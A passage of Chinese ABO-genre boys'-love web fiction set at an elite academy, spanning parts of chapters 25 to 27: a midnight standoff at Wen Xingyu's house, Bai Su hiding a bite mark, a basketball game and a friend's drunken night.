“一群不速之客大半夜出现在我的住宅门前,还扬言要破门而入,我本可以直接把你们当成入侵者,直接启动攻击程序。”闻行屿手里转着遥控设备,面色冷肃望着门外的人。 “我愿意解释,已经是给了诸位面子,如果还要怀疑,就别怪木仓不长眼睛了。”闻行屿露出一个有些残忍的笑,好似并不把这些人的命看在眼里。 气氛骤然紧张,如同即将绷断的弦,院内静得落针可闻。 没有人敢再去贸然动作或说话,唯恐惹怒此时心情不快的闻行屿。 但有一个人不同。 响亮的鼓掌声在大片死寂里响起:“闻少好大的威风,连我们这些主城的家族,如今都不放在眼里了啊。” 是下车的南宫槿。 两人隔空对望,目光似乎都带着锋利的冷芒,仅仅一个眼神,便已经来回过招数回。 闻行屿并不理会他,只是说:“柳弦拦我的车在先,如今他能全须全尾站在这里,诸位应该明白我已经手下留情了。” 说来奇怪,原本听到是一个普通Beta想要开枪威胁Omega,在场的所有人都义愤填膺说要帮柳弦讨个说法,还说要严肃处理那人云云。 可是现在同样的做法,同样是威胁了柳弦还开了枪,但换成一个出身名门且自带光环的Alpha,就没人有意见了。 反而还有半夜被柳恒抓起来本来就不情愿的Alpha在窃窃私语:“柳弦半夜拦别人车干嘛,这是个Omega家家该做的事么?怎么这么不矜持。” “听说他一直喜欢闻行屿,是不是吃醋所以骂了人家的朋友?” “呵,那可真是完全搞错了,现在闻行屿岂不是更加讨厌他了。他还以为自己在吸引别人的注意力?。” 就在两方僵持过程里,南宫槿忽然开口:“既然当事人双方都到了,我还有事,就不奉陪了。” 即使是半夜被临时叫起来,依旧在一身巴尔曼风衣里优雅从容的南宫槿无论站在人群里的哪个位置,都会是视觉焦点。 南宫槿这句话,其实已经摆明了态度。 那就是他也默认了,开木仓的人是闻行屿,而非刚才所说的“白苏”。 既然白苏并未在这件事里承担什么角色,那自然可以被摘出来,不必被处理或是惩治。 闻行屿目光一凝。 虽然理智明白南宫槿肯定是那天看见他和白苏举止亲密才会故意追求白苏,但闻行屿心中仍然隐隐不快。 尤其是看了那个标题名为【南宫槿疑似追求校医室医生?送花+桌咚好浪漫!】的校园BS帖子后。 南宫槿,凭什么一副自以为很熟的样子替白苏开脱? “慢走不送。”闻行屿对着南宫槿没必要客气。 南宫槿冷笑一声,没有说话。 大半夜跑人家家门口来,这事儿确实不占理。 南宫槿虽然讨厌闻行屿,但如果知道这件事是柳弦有错在先,压根就不会同意F4跟着过来添乱。 “走吧。”南宫槿带头,立刻乌泱泱走了一大群人,包括但不限于谷四宜、尉迟云蔚、百里枫以及他们的一众拥蹙。 南宫槿如此轻易就离开,也是其他人未曾预料到的。 闻行屿单枪匹马,却好似万马千军,他站在院子里,竟然没有人敢再说些什么。 高大冷峻的男人目光带着冷煞寒意,扫过在场众人:“诸位还想在这里待到什么时候?闻某在凌晨四点的待客之道,可没有什么瓜果茶点,只有枪子儿。” 柳恒终于忍不住了:“闻行屿,就算是你,也不该对着Omega开木仓!更何况,弦弦也只是担心你,才会拦车的,他本性并不坏啊!” “那你就去联邦法庭起诉我吧。”闻行屿根本无所谓。 易感期过后,身体轻松而精力充沛,但闻行屿现在并不想看见这些弱智,只想回去抱着白苏再睡一会儿。 “你!”柳恒气急败坏,却又不敢再说什么。 此时南宫槿等人已经驾车离开,柳弦终于忍不住开口:“闻行屿,你刚才明明易感期了,怎么这么快就” 他心中疑窦丛生,想着白苏和闻行屿刚才或许正睡在一处又觉得心如刀割。 闻行屿看向柳弦,目光里是毫不掩饰的厌恶。 那样明显的憎厌情绪鲜少在处处逢源的闻行屿脸上出现,柳弦难得一见,便是见他这样看着自己。 柳弦深知,这次自己让哥哥在众人面前丢了脸,之后肯定会被绑回家中,再见到闻行屿并非易事。 他不知自己该说什么,才能让此时闻行屿眼神里的厌恶减淡些,只能流着泪说:“对不起,我” 柳恒生怕他又说出什么惊世骇俗的话来,立刻上前拽着他手臂往后走:“不准你再说了!跟我走!” 虽然南宫槿他们走了,但附近还有不少人呢! 如果柳弦再做出什么,日后还怎么嫁人! 闻行屿便冷冷站在一旁看着他们两人拉拉扯扯,伴随着柳弦的呜咽哭声。 可最终,柳恒竟然莫名被柳弦说服,而钟离曜凌奈也看着柳弦重新走了回来:“闻行屿,我还有一句话,想单独和你说,可以么?” 闻行屿很烦他:“我不想听。” “他们都说你的信息素异于常人,但我刚才闻到分明很香,我觉得,或许我和你是不一样的啊”柳弦低声说。 凌奈&钟离曜:? 好闻? 闻行屿的信息素,和“香”这个形容词有一毛钱关系? 如果真有,那也不可能被特批进入特殊部队。 凌奈和钟离曜面面相觑,连闻行屿也很无语:“你闻错了。” “说不定我们信息素很合适,闻行屿,我不希望你因为之前的偏见而”此时柳弦已经走到了离闻行屿很近的地方,竟然猝不及防伸长手臂想要抱闻行屿! 战斗系出身的人一般是身体比精神反应速度更快,感受到威胁后闻行屿立刻后退闪身,同时下意识释放了信息素。 信息素的味道浓烈而危险,雨水能够切断信息素传播的速度,但即便隔着雨幕,柳弦依旧在刹那就开始头晕目眩。 虽然只是微量的,但他忽然感觉自己被一种并非空气的真空物质包围,无法呼吸无法喘气,弥漫着硫磺味道的诡异物质倒灌入他的气管,刹那便令他剧烈咳嗽起来! “弦弦,这是怎么了!。柳恒惊恐地跑上前来,看着柳弦痛苦倒地疯狂咳嗽,然后两眼一黑晕了过去。 “弦弦!”柳恒地吼声响彻天地。 凌奈挑眉,转转头低声和闻行屿开始蛐蛐:”只闻了这么一点信息素就晕了?好菜啊。“ 钟离曜想笑但忍住了:“小声点。” 高岭之花看着闻行屿丝毫没有上前看柳弦情况的动作,只是好整以暇抱臂站着,一时之间猜不出方才闻行屿释放信息素究竟是故意还是无意。 但无论如何,柳弦被柳恒哭天抢地抬走,没三五个月恐怕很难从医院出来。 待其他人都离开,凌奈才开口问:“闻哥,小白医生在你这儿吗?” “嗯,他睡着了,我没叫他。”其他人都走了,就剩下自己的两个学生,闻行屿也不必拿出方才的架势,整个人顿时懒洋洋的,像只餍足饭饱正在晒太阳的大型猫科动物。 凌奈立刻很有眼色地说:“那我就放心了,他在你这里,那些人不敢动他。” 凌奈侧身,与钟离曜对视时狡黠一笑,两人难得在八卦这件事上达成了默契。 钟离曜唇角弯起,像是怕闻行屿发现似的以拳挡着。 “嗯。”闻行屿应了一声。 钟离曜何尝看不出闻行屿此时的心不在焉,立刻说:“很晚了,那我们先回宿舍了。” *** 白苏感觉自己像坠落在一团柔软的云朵里,云朵温暖得让他有些发汗。 他枕在一只黑狼的肚子上,黑狼却忽然在他脖颈猛地咬了一口。 力道不重,但吮得很用力。 所以还是很疼。 “醒了?” “嗯”白苏睡眼迷蒙,还没睁开眼睛便感觉有人用温暖干燥的掌心摸了摸自己的额头和脸。 他又困又累,实在睁不开眼睛,撑起的身子又重重倒回被褥里:“再睡一会儿” 头顶上方那人低笑两声,重新把被子为他掖好:“嗯,那就再睡会儿。” 听见对方声音,白苏警惕地睁开了左边眼睛,鬼鬼祟祟瞥了闻行屿一眼。 昨晚发生的一切还历历在目,单是想到某个细枝末节,都会让白苏心跳加速。 唇瓣相贴,灼热温度沿着灵活唇舌快速传递。 他好似猎物般被黑发Alpha按在身下,脖颈皮肤被肆意舔舐,直到每一寸都染上闻行屿信息素的味道。 白苏此时才发现,在闻行屿那带着硫磺气味的信息素下,似乎还有一层浅淡的迷迭香味道。 更糟的还在后面,就在白苏极力把自己缩成一小团,准备强行熬过闻行屿的易感期时—— 尖锐的虎牙刺破了他后颈的皮肤。 刺痛着,滚烫着。 信息素的味道不再是通过空气让白苏感觉到,而是在他的身体内,奔流不息地流淌着。 Alpha在标记Omega时,虎牙会再次延长,牙齿内部的腺体沿着信息素的管道向外传递信息素。 这时,只要Alpha以虎牙咬破Omega腺体注入信息素,就可以达成暂时标记的效果。 而永久标记,则要更加深入地同时交换tiye,标记的方式也有所不同。 闻行屿醒来的半小时前,白苏还在因为被咬了而大哭特哭。 好在闻行屿那时候神志不清,否则现在两人大眼瞪小眼,估计得尴尬死。 闻行屿装作没注意到床上青年的偷瞥,自顾自在主卧的沙发上坐下,只是白苏盯着他的时间太长,长到他开始有些坐立难安,只好回望过去:“昨晚不好意思。” “没事。”白苏脸发烫。 好兄弟,亲一下也没什么,闻行屿信息素水平不正常,和喝了酒也没区别。 大家就笑笑得了,当什么都没发生,就好。 闻行屿继续说:“地下室空气不流通,我就把你抱上来了,你应该不介意吧。” “嗯。”白苏拘谨应了一声,就不知道该说什么,只好闭着眼睛假装要继续睡觉。 靠。 太尴尬了。 怎么有种他们昨晚是睡了一觉才会这么尴尬,可是明明什么也没 白苏叹了口气。 还是做了点什么的。 浴室空间宽敞,大面落地镜里白苏恰好能看见他乌黑头发下雪白的脖颈,还有那大片触目惊心的咬痕。 天花板的灯将浴室的瓷砖与镜子映得发亮。 皮肤从最深红的位置向外晕开暧昧的红色痕迹,好似瑰丽花朵在雪地里绚烂绽放。 吮吸的痕迹之上,还有数十个留下了伤口的咬痕。 咬痕以两个为一组,小小的圆孔状,伤口已经不再渗血,正是牙齿留下的痕迹。 后颈原本只是被亲得发痒,可被闻行屿咬了之后已经远不止是痒了。 全身酸疼,承受着那股蛮横信息素的冲撞。 而且闻行屿这么快就结束了易感期,难道是闻行屿把他暂时标记成功了吗? 好在闻行屿没发现,否则事情就更加说不清楚了。 白苏鼓着包子脸,又委屈又不知所措。 两周前,他还带着吃瓜的态度看凌奈被咬后脖颈。 没想到今天,事情两极反转,被咬的人变成了他! 脖子上的痕迹实在太宽,刚才还能通过盖被子去遮盖,可是如果要出门,掩盖的难度就显著增加了。 正当白苏纠结着该怎么遮挡痕迹时,浴室门被人在外面敲响了:“哥哥,我能进来一下么?” 白苏吓了一跳。 浴室门没关,如果让闻行屿发现自己脖子上的咬痕,那就不妙了啊啊啊! 第26章 第 26 章 脖颈的咬痕(上)…… 几人道别, 确定钟离曜已经将车开到闻行屿听不见的位置时,凌奈立刻用手肘戳了戳主驾驶的高冷扑克脸男生:“你猜刚才他们来之前,闻哥正在干嘛?小白医生都累得睡了?我靠!” 钟离曜听着断眉男生毫无顾忌地提起这些颇有些暧昧的事, 一时间耳根发烫:“咳,那看来校医室也是他们一起去的。” 由于缺少能够聊这些话题的同龄男生,以及缺乏相关的聊天经历, 钟离曜竟不知在这样的时候应该说什么。 如果顺着凌奈的话去讨论, 总感觉会不会太轻佻了。 “他们进展真是太快了,这离小白医生入职也没多久吧!”凌奈满脸吃瓜乐。 还不待钟离曜接话, 凌奈便继续说:“当时闻哥放着好好的别墅不住,跑去住校医室旁边的宿舍,我就感觉其中定有深意。” 钟离曜:? 他对此并不知情:“什么时候的事。” 凌奈解释自己上次听白苏偶然提了一嘴,然后总结道:“闻哥当时肯定是对小白医生一见钟情,然后想追小白医生,嗯。” 钟离曜目光微动:“为什么这么说?” “你”凌奈嘴角一抽, 似乎是想吐槽钟离曜但又忍住了, “不然他搬过去干嘛?好端端的大房子不住, 跑去挤最破的教师宿舍?” “我的意思是, 这就是要追他么?”钟离曜看着凌奈,似乎真的对此非常好奇。 “你认真的?”凌奈凝视他数秒,确认了钟离曜是真心在发问。 “嗯。”钟离曜性情冷淡, 往日如同高岭之花般不染半分情爱, 也未曾主动去了解过这些。 如果追一个人,就要搬到他的隔壁去那自己岂不是已经达成了这个条件么? 他和凌奈,从入学开始就恰好分配到相邻的宿舍 还因此在走廊里碰见多回,每次都大打出手。 “说了你也”凌奈打住话头,心里思忖着这样说钟离曜会不会不太好。 毕竟, 这么长时间一直没接触这些也不了解,并不全是钟离曜的错。 根据哥哥提供的一些信息,让凌奈觉得钟离家是想把钟离曜培养成断情绝爱的决策机器。 所以此时此刻,凌奈实在不忍心奚落他。 凌奈仔细想了想,片刻后在钟离曜的目光里解释道:“闻哥本来没必要做这件事,而这件事看起来唯一的用处就是靠近小白医生。那闻哥为什么要靠近他呢?原因就很明显啊。” 此话循循善诱,逻辑清晰,钟离曜点头表示自己明白了:“嗯,懂了。” 窗外景色飞快倒退,路灯在茶色玻璃上落下块块光斑,游弋光影从凌奈脸上掠过。 钟离曜听见他再次开口时声音低了些:“之前他们还打赌开盘,要看闻哥会喜欢上哪个Omega,没想到闻哥最后会喜欢一个小Beta吧,哈哈。” 钟离曜目光一动,开口时带着试探:“你也觉得,Alpha就应该和Omega配对么?” 在当今的社会氛围下,虽然Beta成了类似0.5的角色,哪里需要哪里搬,很多Alpha也会和Beta暧昧不清。 但如果有选择,尤其是他们这些上流社会的Alpha,没有人会选择Beta作为结婚对象。 就钟离曜的了解,很多人甚至愿意在ABO基因匹配中心用系统去匹配一个此前完全不认识的Omega,也不会和熟识多年的竹马Beta结婚。 而钟离曜心中不安的是,自己喜欢的甚至不是Beta,而是同为Alpha的凌奈。 凌奈回头看了他一眼,嘴唇张阖,片刻后意义不明地笑了一声:“我当然不觉得。” 钟离曜垂眸,胸腔内奔涌情感在此刻深夜的静谧气氛下蠢蠢欲动:“你手还冷么。” “有点儿,秋天以后就一直很凉,没啥办法。”凌奈大大剌剌,把手臂伸直放在晃动的光影下随意看了几眼。 虽然他一直有体寒的毛病,但半点儿不影响他打架嘎嘎猛。 “给我。”钟离曜单手握着方向盘,将右手摊开放在变速箱旁边。 若不是车内没有灯,阴影弥漫,否则凌奈一定会看见扑克脸大男生看似淡定外表下的手在发抖。 抖得明显的那种。 虽然凌奈此时的手抖程度也不遑多让:“给什么?” “手。”钟离曜言简意赅。 凌奈胸口的兔子差点蹦出来,刹那大脑一片空白,紧张地只蹦出一个字:“哦。” 手背有道浅淡伤疤的手慢慢放在掌心朝上的那只大手里。 下一刻,便被握紧,手指被以极轻柔的力度揉搓。 车厢内寂静无声,唯有车轮碾过路面碎石发出的轻微声响。 钟离曜目光平视前方,看似专注地开车,实则心跳已经响彻他的整个世界,令他的耳膜都一下一下随着心跳而颤动。 副驾驶的凌奈则偏头向外看着略过的植被,也不知道半夜那些黑糊糊看不清一点的绿植有什么可盯着看的。 而更让凌奈心跳加速的是钟离曜的下一句话:“凌奈,追一个人,就是要时时黏在他身边么?” *** 光线透过维多利亚时代的蕾丝窗帘,洒落成一地温柔的碎金。 雕刻着繁复花纹的浴缸边缘,金色的水龙头滴答着水珠,在空荡浴室内回荡。 空气中弥漫着淡淡的薰衣草和迷迭香的气息。 “咳咳,有什么事吗?” 白苏慌忙从一旁的大理石洗手台拿起毛巾搭在脖子上,装作刚洗完头发还没有擦干的模样。 洗澡前闻行屿把柳弦已经被带走、不会再出现在学校之事告知他,他便松了口气。 至少这说明,柳弦之后不会再来找自己麻烦。 闻行屿对这件事似乎有些记仇,言语间透露出想要恶整柳家的念头。 白苏心想你又不是南宫槿那种有权有势的人,你该不会是要提着木仓去把他们全干掉吧! 于是白苏赶紧劝他算了并且表示自己不介意,以免闻行屿之后真做出什么不好的事来。 “我洗完澡之后手机放在里面忘拿了,”闻行屿的声音隔着磨砂玻璃门传出来,“现在要用。你不方便的话就等会儿再说。” “方便,你进来吧,我洗完了。”白苏对着落地镜左右看了看,确认毛巾完全遮住了脖子,这才放下心来。 意识到自己有多像做贼后,白苏麻了。 凭什么闻行屿造的孽,要他来隐瞒!可恶! 白苏破罐破摔地想:要是闻行屿发现了,那就让他发现好了! 有本事就对自己负责啊! 闻行屿先敲了两下门才走进来,试探目光落在正穿着自己睡衣的背影上。 单薄的肩膀似乎有些撑不起睡衣,使得领口歪歪斜斜的,但大片的好春光都被毛巾遮盖,闻行屿哪怕是想做个小人也没机会做。 长腿纤细笔直,裤腿耷拉着,明显长了一截。 像是个穿大人衣服的小朋友。 闻行屿勾唇。 他进来当然不是为了拿手机,而是想要确认白苏是否还好。 白苏进去了很长的时间,花洒关了以后一直安静地不知道在做什么。 闻行屿是担心他不舒服,但又不好意思说,这才找借口拿手机进来看看。 可白苏看起来神色正常,面色虽有些苍白,但大致看起来并无大碍。 漂亮Beta的皮肤很好,光滑细腻,顶灯下仍旧散发着玉石般的光泽。 他的头发还有些湿润,乱糟糟地垂在脸侧,加之他微红的眼尾和鼻头,看起来可怜兮兮的。 像雨天被淋湿了的,眼睛亮闪闪的,小猫。 闻行屿收回目光,从柜子旁取出手机:“先吹干头发,小心着凉。” 两人此时距离很近,像是受到什么力量的驱使,闻行屿伸手碰了碰白苏的湿发,将那些湿润发丝捋到白皙的耳朵后。 这个动作属实有些暧昧,白苏也愣了一下才回答:“好。” “我帮你吹吧。”闻行屿随手拿起吹风机,意识到自己在做什么后感觉有些纳闷。 很怪。 他是个有边界感的人,无论肢体动作还是心理,都能守住基本的边界。 可是现在不知为何,从潜意识里,就觉得自己和白苏好似亲近了许多,以至于他能够随手去碰白苏的头发和脸,提出一些亲昵的帮助和要求。 白苏刹那就吓到了:“不不不用了!我自己吹!你出去吧!” 被轰出浴室后闻行屿仍蹙着眉,不明白自己这是怎么了。 指尖穿过白苏发丝时的触感依旧萦绕在皮肤之上,令他有种难以形容的熟悉与安心感。 阳光穿过飞舞的白色窗纱落在房间里,为高大男人的黑发镀上一层瑰丽的金色。 闻行屿凝眸思索片刻,垂手,重新走回浴室旁:“就让我帮你吹嘛,你刚帮了我忙,不让我回报你,我会良心难安的。” 如果触碰一个人会让他自己感到心安,感到难以言喻的悸动 那他就该顺心而为,循循善诱地让那人走进他的陷阱,呆在他的身边。 *** 篮球场热闹非凡,喝彩声加油助威声响彻云霄。 阳光正好,反射在室内篮球场的木制地板上,泛起数个耀眼光芒。 篮球碰撞地面的声音不绝于耳,喧闹声混杂着球鞋摩擦地面的刺耳声音,成了此时篮球场的主旋律。 白苏坐在观众席下的工作人员席位,昏昏欲睡。 呵呵哒,别问为什么他会在这里,问就是又换了工作地点。 他这个校医可真是用途多多啊! 哪里需要往哪儿调配,前些天是去战斗系今天又被叫来商学院,只为了在篮球赛上确保有校医在场! 都怪这场商学院的比赛有F4在,否则要不是主角光环,学校怎么会要求非要有校医到场! 白苏困得打哈欠,前面的桌子却突然被放上了一台手机和头戴式耳机。 白苏:? 他困倦睁开眼,却见穿着白色篮球服的百里枫站在桌前,好整以暇看着他:“白医生,麻烦你替我保管一下手机和耳机,多谢啦~” 年轻男生今天右耳的耳环换成了简单的麦昆经典款耳钉,在灯光下熠熠生辉。 眉眼五官精致,颇有些男生女相的艳丽,是最为上镜的窄额面明星脸。 百里枫全然没给白苏拒绝的机会,立刻转身跑开,上场热身去了。 他今天依旧一头蓝毛,半点也看不出发根有黑色痕迹。 白苏猜这只风骚的孔雀应该经常去补色,否则怎会每根头发都泛着冷色的蓝,完全没有一丁点要褪色的痕迹。 据说,蓝色头发褪色之后可就是绿油油的。 白苏比较期待百里枫顶着绿头出现,所以对他的发色分外关注。 场上,谷四宜满脸吃瓜笑,凑在尉迟云蔚旁边,用手遮着脸小声说:“枫怎么也去凑热闹?闻行屿揍不了槿,揍他一顿还不是轻轻松松。” 尉迟云蔚也笑,捂着嘴防止场外的人读唇形看出他们在说什么:“我看枫是真的起了兴趣,前两天他们一起选秀出来的那个omega找他,他都爱答不理。” “渣男。”谷四宜扁了扁嘴。 场内虽然开着冷气,但气氛极其火热。 如同上次战斗系公开日般,此时色彩缤纷的观众席上举起了好几个加油横幅。 【oi,百里枫,感觉你有点火热啊~是体内有躁动的因子吧!】 【巴山楚水凄凉地,除了尉迟都是弟】 【刀不锋利马太瘦,你拿什么跟槿斗】 白苏:“”好抽象的横幅文案! 还有好些Beta和Omega举着F4的海报照片,场景颇为壮观。 此时,裁判正在给两队的队长讲解注意事项,身穿一黑一白队服的高大男生便安静低头,听着裁判说话。 其他人则都在各自半场跑动热身,场上局面火热。 篮球赛,是任何一本校园文里必备的项目,文能提升校园氛围并且水文,武能引发各种情敌出现后的吃醋进而推动感情发展。 但对白苏而言,这种活动他一个i人从上学的时候就不喜欢参与,更何况现在场上那些学生他不认识,便觉得更加无聊。 不,还是有几个认识的。 商学院的篮球赛,F4当然会出场,他们甚至分成了两队,好像怕实力太过于一边倒似的。 此时两边的队长分别是南宫槿和尉迟云蔚,谷四宜和尉迟一队,百里枫跟着南宫槿。 南宫槿今天穿着白色篮球服,身高腿长,luo露出来的手臂和小腿线条都饱满流畅,一看便是在健身房苦练的结果。 而尉迟云蔚也不遑多让,是以这几人一直被场边的人偷偷在拍照。 白苏后一排正对着的那个学生手里拿着个超长大炮,镜头好似下一秒就会戳到白苏的后脑勺。 白苏在心里吐槽:你们偷拍能不能小点动静啊!谁家好人拿着大炮来偷拍啊!还有闪光灯! 观众席上确实有不少人在拍照,用手机者居多,然而还有一部分是直接用巨大的相机在拍。 闪光灯络绎不绝,但很快就被场馆内的工作人员制止,表示他们这样会影响比赛。 随着裁判吹哨,比赛正式开始! 体育馆上方的电子屏幕也开始计时,并且摄像头随机捕捉各种颜值高的学生,或是名人,将他们的脸投影在大屏幕上。 白苏看着有些人害羞地用衣服挡住脸,姿态更加放松地靠在椅背上。 只要闻行屿不在,他就是个纯纯路人,根本不可能被摄像机选中,哈哈! “槿!”百里枫拿到球后,立刻穿透防守球员,将球以流畅弧线传递给南宫槿。 两人经常一起打球,颇具默契,是以南宫槿立刻接住了篮球。 然而,在尉迟云蔚的指点下,对面球队也知道南宫槿擅长投三分,所以立刻包抄上来。 防守球员迎面而来,试图用身体阻挡他的去路。 但南宫槿忽然一个急停后仰,身体与地面几乎平行,篮球从他指尖轻轻推出,划破空气。 即使尉迟云蔚骂了句脏话,长臂一伸试图拦下球,但篮球已如离弦之箭,无法阻挡。 它在空中划出一道优雅的弧线,最终穿过了篮网。 计分板的数字跳动起来,场上霎时间响起一阵尖叫和欢呼混杂的声音。 “厉害啊。”白苏觉得这球确实打得不错。 三分球进网后,南宫槿忽地转过身看向观众席的方向,以护腕擦去额头汗水,笑了笑。 这样温柔的笑容在往日矜贵不可一世的脸上鲜少出现,白苏周围的观众都惊呆了。 “南宫槿为什么突然对着我们这边笑啊!”“难道他是喜欢上我了?决定让我做他那个平凡但可爱的男朋友?”“滚啊你!明明看的是我好吗!” 白苏:“” 坐在他旁边的姜晓:“” “欸,我们前面那个人,不是上次论坛上槿送花的那个Beta吗!!”“难道槿看的人是他!?” 白苏:? 他满脸震惊,凑到姜晓身边低声说:“他们怎么会知道南宫槿给我送花的事??” 姜晓见他不知情,立刻小声把有人在学校论坛发帖还附带照片的事情告诉了白苏。 白苏两眼一黑,立刻用左手拇指掐住了自己的人中。 发帖,上千楼的回复。 那岂不是全校都看见了? 贵族男校怎么会有论坛这种东西,而且这都什么年代了,竟然大家还都看论坛??? 就算有论坛,也应该是主角们用来装B以及打脸反派的爽点置放处,怎么会变成讨论他的啊! 这合理吗! “没事,只要他不再搞什么幺蛾子,大家应该也很快就忘记了吧”姜晓想要安慰白苏,但自己也觉得自己说的话并不可信。 而且,就姜晓对南宫槿的了解,那男人的城府很深,跟尉迟云蔚完全不是一个级别,偏执起来也非常可怕。 姜晓并不觉得南宫槿会这么快放过白苏。 “如果你觉得困扰,可以让闻老师帮你?那天我看南宫槿和他起了冲突,那他应该不怕得罪南宫槿。”姜晓替白苏想了个法子。 说到闻行屿,早上白苏是被闻行屿叫醒的。 黑发Alpha送给他一条水晶手链,说遇到危险就可以用里面的发射器去发送求救信号。 而信号能被闻行屿接收,之后来帮他。 “对了,这个手链”白苏捞起右边袖子,露出手腕上以紫水晶串成的手链,“这是闻行屿给我的,说里面注入了他的信息素?这东西是用来干嘛的啊?” 白苏只知道信号发射器是闻行屿从army里带出来的联络工具,但却不知这个手串有什么用处。 如果只是信号发射器,那么放在别的地方也可以,没必要多搭一串看起来就价值不菲的水晶。 姜晓也不知道这是什么:“我在论坛上搜一搜?或者我去帮你打听打听。” 他们的话被旁边姜晓的朋友听见,只消一眼便笑了:“这是最近主城特别流行的首饰呀,Alpha会送给自己恋人的手链,里面最大那颗水晶里面注入了他的信息素,如果有其他人靠近特别是Alpha,就能够闻到手链里Alpha信息素味道。” 那男生笑起来很可爱:“作用倒没什么,主要是用来秀恩爱啦,因为这种能注入信息素的水晶现在只有主城的唯一一家门店在卖,跟奢侈品差不多,每个Alpha只能买一次,买过之后身份ID会被登记在册,没法再买啦。” 白苏:“” 姜晓:“哇哦。” 白苏心中五味杂陈,怎么也没想到闻行屿会送他这样的东西。 信号器是为了保护他,但水晶 像是在宣示主权似的。 尤其是闻行屿直接把手链带在他手上时还嘱咐:“防水的,洗澡也不用取下来。” 更要命的是,闻行屿还说—— “你下周有空么?陪我去见个很重要的朋友吧。” 这又是送手链又是带他见朋友的,怎么感觉下一步就是要告白的节奏? 白苏不知道的是,闻行屿已经将信息素的调查提上日程,而带他见的朋友也正是与此有关。 篮球场上沸反盈天,欢呼声不绝于耳。 尉迟云蔚身穿24号黑色篮球服,时不时朝着这边观众席瞥来一眼。 而姜晓每次只要看见尉迟云蔚转身看这边,都会很不自然地转开看着场上的目光,表情十分复杂。 白苏敏锐地嗅出其中有什么他不知道的奸情存在。 虽然莫名其妙,但他觉得尉迟云蔚是在看姜晓,于是便问:“你们干嘛了?他怎么一直看你?” 姜晓没想到自己刚调侃了白苏,就会被反过来调侃,偏偏心里确实装着事,便点了点头:“嗯,之前他喝醉了,然后” 白苏:? 喝醉?你们不会当晚就天雷勾地火了吧!?否则怎么是这个表情!? 第27章 第 27 章 暴躁少爷×坚韧清纯小白…… 客厅中央的豪华地毯上散落着各式各样的酒瓶, 有的还残留着不少酒液在其中。 酒瓶旁边是成堆的外卖盒,它们的盖子半开,露出里面的食物残渣, 空气中还残留着各种食物的香味。 沙发上,几件昂贵的外套随意地搭着,书本和杂志同样随意散乱在地板上。 角落里的斯坦威钢琴琴盖还未阖上, 几张纸质琴谱被随意放在谱架里。 姜晓被扑面而来的酒味熏得下意识皱眉:“你喝酒了?” 自从上次在花园里姜晓发现F4以自己做赌注, 就一直想要找尉迟云蔚算账。 直到尉迟云蔚从家里回来,姜晓立刻就找上了门。 尉迟云蔚脸颊带着些许不自然的红, 眼神迷茫,似乎没理解他的话:“嗯?” 宽大的弧形电视上还在播放橄榄球比赛的赛后点评,姜晓立刻明白过来尉迟云蔚刚才是在和朋友聚会,朋友们估计才刚走。 姜晓服了。 他懒得和醉鬼理论,立刻便转身想走。 反正来日方长,过几天再来找尉迟云蔚理论就行。 可身后的高大alpha却忽地伸手拉住他, 然后把身体的重量全都搭在了姜晓身上。 男人的身躯带着灼热温度, 沉甸甸地从身后搂住姜晓, 霎时间把姜晓全然笼在他的领域内。 姜晓:? 带着酒精味道的呼吸暧昧地抚过姜晓侧脸, 让姜晓忍不住用手肘顶了对方两下:“喂!松手啊!你很重欸!” 尉迟云蔚却还是像树袋熊似的抱着他不放,重的要死。 姜晓只能艰难拖着他进宿舍,把他扔在沙发上。 短短几步路, 他就踩到两个横在地上的酒瓶, 险些滑倒。 跟一个醉鬼,说话都软绵绵想往你身上歪倒睡一觉的醉鬼能怎么说? 姜晓无奈,只好顺手给他盖上毯子。 天竺葵的味道顷刻间弥漫在姜晓鼻尖。 芳香浓郁而热情,和尉迟这个人的性格倒是相得益彰。 尉迟云蔚还在沙发上呢喃着什么话,姜晓虽然烦他, 但也怕他说哪里不舒服或是勒着了,于是凑过去听他在说什么。 昏暗的房间内唯有靠近阳台的地方有些光亮,尉迟云蔚的体温滚烫,呼出的热气拂过姜晓耳朵,姜晓只听见他喃喃喊着:“妈妈。” 透过微弱的窗外落进来的光,姜晓发觉这往日总是一副不羁傲慢模样的男生眼尾竟然有一片浅浅的湿痕。 狂傲的人,好似总是满身刺披着盔甲的人,在深夜里,却有难得的脆弱。 姜晓虽然之前和F4一起呆着的时间不多,但也从谷四宜他们平日闲聊的内容里猜出了尉迟云蔚生母去世,如今当家的是他父亲的第二任妻子这件事。 尉迟云蔚这几年站稳了脚跟,又和南宫槿等人交好,才算是没有在家里像过街老鼠般被欺压。 但几年前,尉迟云蔚确实过了一段非常不愉快的时光,而父亲对此也装作不知情。 尉迟云蔚在无数夜深人静的时候肯定很想他的妈妈。 刹那,姜晓动了恻隐之心,有些心软,便默不作声起来,将地上的酒瓶和外卖盒收拾干净,担心尉迟云蔚半夜酒没醒的时候起来会踩到酒瓶摔倒。 强迫症发作,他又顺手把尉迟云蔚那些乱放的书本画册、还有各种收藏品一并按照自己的习摆放整齐,硬生生把尉迟云蔚原本乱糟糟的宿舍重新整理得焕然一新。 甚至,姜晓还煮了一锅醒酒汤放在厨房,贴了便利贴让尉迟云蔚起来的时候喝,以免难受。 出于对尉迟云蔚隐私的保护,姜晓隐去了对方梦话里的内容,只说自己看见了他在哭。 但白苏作为拥有上帝视角的人,已经猜到了尉迟云蔚呢喃的话。 尉迟云蔚作为《贵族男校之继承者们的心尖宠Beta》这本万人迷BL文的第一主角攻,有着标准的美强惨配置。 尉迟云蔚生母早逝后父亲另娶,他从小就被继母和继母的孩子欺辱打骂。 母亲家族衰落后,父亲更是将他视为弃子,就算亲眼看着他被推下楼梯也视若无睹。 虽然他能力出众智商超群外貌英俊,但父亲却直接将继承权给了继母的孩子,并且还想把他打发出家族。 尉迟云蔚暴躁易怒的性格也和他童年的经历有关,如果不披着一身刺,恐怕早就被欺负得被赶出尉迟家了。 尽管现在他顶着尉迟家大少爷的身份重新得到了父亲的认可,但过往的经历就像是皮肤上的伤痕会遗留多年,尉迟云蔚内心仍旧有破碎的一角,从来不对外人敞开。 姜晓肯定就是在他醉酒后无意窥见了那个隐藏在平日跋扈躯壳里的脆弱少年,所以才会动了恻隐之心。 白苏继续安静听着姜晓描述,姜晓的语气却立刻变了个调:“我刚睡下没多久,就被这蠢猪吵醒了!真是气死人!” 第二天早上,姜晓是被一通电话吵醒的:“你煮的这是什么?能喝吗?” 被叫醒还被质疑了一手的姜晓气不打一处来,直接冲到尉迟云蔚宿舍大骂:“你爱喝不喝,不喝还给我!” 这让往日总是做事张扬又性格恶劣的尉迟云蔚,难得地有些愧疚。 